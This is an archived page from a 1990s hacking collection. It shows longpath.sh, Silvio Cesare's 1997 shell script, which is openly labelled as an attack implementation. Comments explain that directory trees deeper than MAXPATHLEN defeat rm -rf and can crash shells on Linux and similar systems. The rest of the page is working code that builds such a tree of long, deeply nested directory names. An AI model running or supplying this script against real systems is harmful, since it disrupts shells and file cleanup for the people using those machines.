home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / longpath.sh < prev    next >
Text File  |  1998-07-17  |  1KB  |  80 lines

  1. #  Problem:  Long pathnames are possible (> MAXPATHLEN) by creating directory
  2. #  trees relatively, causing various problems on the system.
  3. #
  4. #  May 27, 1997
  5. #
  6. #  Systems:  Linux, probably some other unix's also.
  7. #
  8. #  rm -rf will fail to remove it, as rm -rf will try to remove it using absolute
  9. #  pathnames which are long.  If the current directory is in the prompt, then
  10. #  this overflows, typically crashing the shell.  Any programs that use absolute
  11. #  pathnames will have problems.
  12. #
  13. #
  14. #  Silvio Cesare
  15. #
  16. #
  17. # The longpath attack implementation..
  18. #
  19. #!/bin/sh
  20. #
  21. #  Implementation of the longpath attack 
  22. #  Silvio Cesare, 1997
  23.  
  24. LENGTH=128
  25. HEIGHT=32
  26. ROOT=longpath
  27. CHAR=A
  28.  
  29. set -- `getopt h:l:r:c: $*`
  30. if test $? != 0
  31. then
  32.     echo usage: longpath [-h height] [-l length] [-r root] [-c char]
  33.     exit 1
  34. fi
  35. for i
  36. do
  37.     case "$i"
  38.     in
  39.         -h)
  40.             HEIGHT=$2
  41.             shift; shift
  42.             ;;
  43.         -l)
  44.             LENGTH=$2
  45.             shift; shift
  46.             ;;
  47.         -r)
  48.             ROOT=$2
  49.             shift; shift
  50.             ;;
  51.         -c)
  52.             CHAR=$2
  53.             shift; shift
  54.             ;;
  55.         --)
  56.             shift
  57.             break
  58.             ;;
  59.     esac
  60. done
  61.  
  62. NAME=""
  63.  
  64. i=0
  65. while test $i -lt $LENGTH
  66. do
  67.     NAME=$NAME$CHAR
  68.     i=`expr $i + 1`
  69. done
  70.  
  71. mkdir $ROOT
  72. cd $ROOT
  73. i=0
  74. while test $i -lt $HEIGHT
  75. do
  76.         mkdir $NAME
  77.         cd $NAME
  78.         i=`expr $i + 1`
  79. done
  80.